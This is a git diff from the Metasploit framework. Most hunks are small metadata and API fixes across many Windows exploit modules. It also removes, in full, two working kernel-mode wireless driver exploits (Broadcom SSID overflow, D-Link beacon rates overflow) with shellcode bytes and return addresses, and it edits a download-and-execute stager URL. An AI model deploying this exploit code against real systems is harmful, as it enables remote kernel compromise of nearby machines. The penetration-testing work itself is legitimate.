b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb index c2c4f714eb..040559c4ba 100644 --- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb +++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index 39741a0c92..e3471a628f 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote # :javascript => true, # :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", # :method => "ConnectToSynactis", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => AverageRanking #}) diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb index 97eb2a94a2..0d0a45ad76 100644 --- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb +++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 4f9d7207c5..d699f52c02 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -1,5 +1,5 @@ ### -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super( update_info(info, - 'Name' => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference', + 'Name' => 'TeeChart Professional ActiveX Control Trusted Integer Dereference', 'Description' => %q{ This module exploits a integer overflow in TeeChart Pro ActiveX control. When sending an overly large/negative integer value to the AddSeries() property of diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index a749d68d7e..2c6ac3d718 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "8.0", @@ -269,4 +269,4 @@ eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 tsgetx71ex553!Ordinal931+0x2dd: 28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=???????? -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index a9ce3d94d8..8d3c754bbf 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb index 6b00c5ab27..94fbfcded7 100644 --- a/modules/exploits/windows/browser/trendmicro_officescan.rb +++ b/modules/exploits/windows/browser/trendmicro_officescan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb index e4f2a93af9..f012e29f3c 100644 --- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb +++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index 6448edabf1..8bbdc303e6 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', + 'Ben Campbell', 'phillips321 <phillips321[at]phillips321.co.uk>', 'Richard Hicks <scriptmonkeyblog[at]gmail.com>' ], diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index fc96837f2a..cdb9360048 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb index acf5fd8cec..05b995f2ba 100644 --- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb +++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index a7c78eefad..9ad826a3e4 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote to execute arbitrary code within the context of the affected application. }, 'License' => MSF_LICENSE, - 'Author' => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'MC', 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-5492'], diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index 8b80498bf9..5aac5af13b 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index b148521ae9..b6d98e0d67 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 824118ffaa..69886b5b78 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index 488d2c4feb..0751a93afc 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 23f49612e6..a4aa0fee3e 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index a493e8b846..116ad61dc2 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => Msf::OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :ua_name => /MSIE|KXCLIE/i }, 'Payload' => diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb index f9666452c4..eaba3e96eb 100644 --- a/modules/exploits/windows/browser/winamp_playlist_unc.rb +++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb index a78b9a22c8..3d2cc4191f 100644 --- a/modules/exploits/windows/browser/winamp_ultravox.rb +++ b/modules/exploits/windows/browser/winamp_ultravox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb index 0a478b574b..4d7d428b0a 100644 --- a/modules/exploits/windows/browser/windvd7_applicationtype.rb +++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index c45e9cc946..725d4f1f67 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #autopwn_info({ # :ua_name => HttpClients::IE, # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}', # :method => 'CreateNewFolderFromName', # :rank => NormalRanking # reliable memory corruption diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 07fbf4052a..8e41747dbb 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :rank => NormalRanking, # :vuln_test => nil, diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index 9a5039992f..4e53c13709 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,10 +28,10 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '21206'], [ 'URL', 'http://secunia.com/advisories/22999/' ], ], - 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb index 2a97af59a7..6fdd49587e 100644 --- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb +++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index 4dabd6565c..b8242cfaef 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb index 4358de3fea..ce4d676070 100644 --- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb +++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 3f5754b19c..6e66961670 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager = build_vbs(payload_src) diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index a8ef64e651..c96e02efd9 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft RPC DCOM Interface Overflow', + 'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index 5805029a6b..7c1644a853 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Message Queueing Service Path Overflow', + 'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface to the Microsoft Message Queueing service. The offset to the diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb index 056a6d768b..3a1fb0408b 100644 --- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', + 'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index d715f5b6b1..dd935ca56b 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Message Queueing Service DNS Name Path Overflow', + 'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface to the Microsoft Message Queueing service. This exploit requires diff --git a/modules/exploits/windows/driver/broadcom_wifi_ssid.rb b/modules/exploits/windows/driver/broadcom_wifi_ssid.rb deleted file mode 100644 index cd79410a86..0000000000 --- a/modules/exploits/windows/driver/broadcom_wifi_ssid.rb +++ /dev/null @@ -1,199 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = LowRanking - - include Msf::Exploit::Lorcon2 - include Msf::Exploit::KernelMode - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Broadcom Wireless Driver Probe Response SSID Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in the Broadcom Wireless driver - that allows remote code execution in kernel mode by sending a 802.11 probe - response that contains a long SSID. The target MAC address must - be provided to use this exploit. The two cards tested fell into the - 00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => - [ - 'Chris Eagle', # initial discovery - 'Johnny Cache <johnnycsh [at] 802.11mercenary.net>', # the man with the plan - 'skape', # windows kernel ninjitsu and debugging - 'hdm' # porting the C version to ruby - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-5882'], - ['OSVDB', '30294'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'], - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Payload' => - { - 'Space' => 500 - }, - 'Platform' => 'win', - 'Targets' => - [ - # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519) - [ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10', - { - 'Ret' => 0x8066662c, # jmp edi - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dbb27, - - } - } - } - ], - - # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158) - [ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10', - { - 'Ret' => 0x804f16eb, # jmp edi - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dc0c7, - } - } - } - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 11 2006' - )) - - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]) - ], self.class) - end - - def exploit - open_wifi - - stime = Time.now.to_i - - print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...") - - while (stime + datastore['RUNTIME'].to_i > Time.now.to_i) - - select(nil, nil, nil, 0.02) - wifi.write(create_response) - - select(nil, nil, nil, 0.01) - wifi.write(create_beacon) - - break if session_created? - - end - - print_status("Finished sending frames...") - end - - def create_beacon - src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93 - dst = eton('FF:FF:FF:FF:FF:FF') - seq = [Time.now.to_i % 4096].pack('n') - - blob = create_frame - blob[0,1] = 0x80.chr - blob[4,6] = dst - blob[10,6] = src - blob[16,6] = src - blob[22,2] = seq - - blob - end - - def create_response - src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93 - dst = eton(datastore['ADDR_DST']) - seq = [Time.now.to_i % 256].pack('n') - - blob = create_frame - blob[0,1] = 0x50.chr - blob[4,6] = dst - blob[10,6] = src - blob[16,6] = src # bssid field, good idea to set to src. - blob[22,2] = seq - - blob - end - - def create_frame - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - "\x58\x58\x58\x58\x58\x58" + # src - "\x58\x58\x58\x58\x58\x58" + # bssid - "\x70\xed" + # sequence number - - # - # fixed parameters - # - - # timestamp value - rand_text_alphanumeric(8) + - "\x64\x00" + # beacon interval - "\x11\x04" + # capability flags - - # - # tagged parameters - # - - # ssid tag - "\x00" + # tag: SSID parameter set - "\x5d" + # len: length is 93 bytes - - # jump into the payload - "\x89\xf9" + # mov edi, ecx - "\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b - "\xff\xe1" + # jmp ecx - - # padding - rand_text_alphanumeric(79) + - - # return address - [target.ret].pack('V') + - - # vendor specific tag - "\xdd" + # wpa - "\xff" + # big as we can make it - - # the kernel-mode stager - payload.encoded - end - -end diff --git a/modules/exploits/windows/driver/dlink_wifi_rates.rb b/modules/exploits/windows/driver/dlink_wifi_rates.rb deleted file mode 100644 index 5184b77bc4..0000000000 --- a/modules/exploits/windows/driver/dlink_wifi_rates.rb +++ /dev/null @@ -1,195 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = LowRanking - - include Msf::Exploit::Lorcon2 - include Msf::Exploit::KernelMode - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in the A5AGU.SYS driver provided - with the D-Link DWL-G132 USB wireless adapter. This stack buffer overflow - allows remote code execution in kernel mode. The stack buffer overflow is triggered - when a 802.11 Beacon frame is received that contains a long Rates information - element. This exploit was tested with version 1.0.1.41 of the - A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer - versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340 - adapter and appear to resolve this flaw, but D-Link does not offer an updated - driver for the DWL-G132. Since this vulnerability is exploited via beacon frames, - all cards within range of the attack will be affected. The tested adapter used - a MAC address in the range of 00:11:95:f2:XX:XX. - - Vulnerable clients will need to have their card in a non-associated state - for this exploit to work. The easiest way to reproduce this bug is by starting - the exploit and then accessing the Windows wireless network browser and - forcing it to refresh. - - D-Link was NOT contacted about this flaw. A search of the SecurityFocus - database indicates that D-Link has not provided an official patch or - solution for any of the seven flaws listed at the time of writing: - (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689). - - As of November 17th, 2006, D-Link has fixed the flaw it the latest version of the - DWL-G132 driver (v1.21). - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => - [ - 'hdm', # discovery, exploit dev - 'skape', # windows kernel ninjitsu - 'Johnny Cache <johnnycsh [at] 802.11mercenary.net>' # making all of this possible - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6055'], - ['OSVDB', '30296'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-13-11-2006.html'], - ['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'], - ], - 'Privileged' => true, - - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - - 'Payload' => - { - # Its a beautiful day in the neighborhood... - 'Space' => 1000 - }, - 'Platform' => 'win', - 'Targets' => - [ - # Windows XP SP2 with the latest updates - # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519) - [ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41', - { - 'Ret' => 0x8066662c, # jmp edi - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dbb27, - } - } - } - ], - - # Windows XP SP2 install media, no patches - # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158) - [ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41', - { - 'Ret' => 0x804f16eb, # jmp edi - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dc0c7, - } - } - } - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 13 2006')) - - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]) - ], self.class) - end - - def exploit - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...") - while (stime + rtime > Time.now.to_i) - wifi.write(create_beacon) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - - count += 1 - - # Exit if we get a session - break if session_created? - end - - print_status("Completed sending beacons.") - end - - -# -# The following research was provided by Gil Dabah of ZERT -# -# The long rates field bug can be triggered three different ways (at least): -# 1) Send a single rates IE with valid rates up front and long data -# 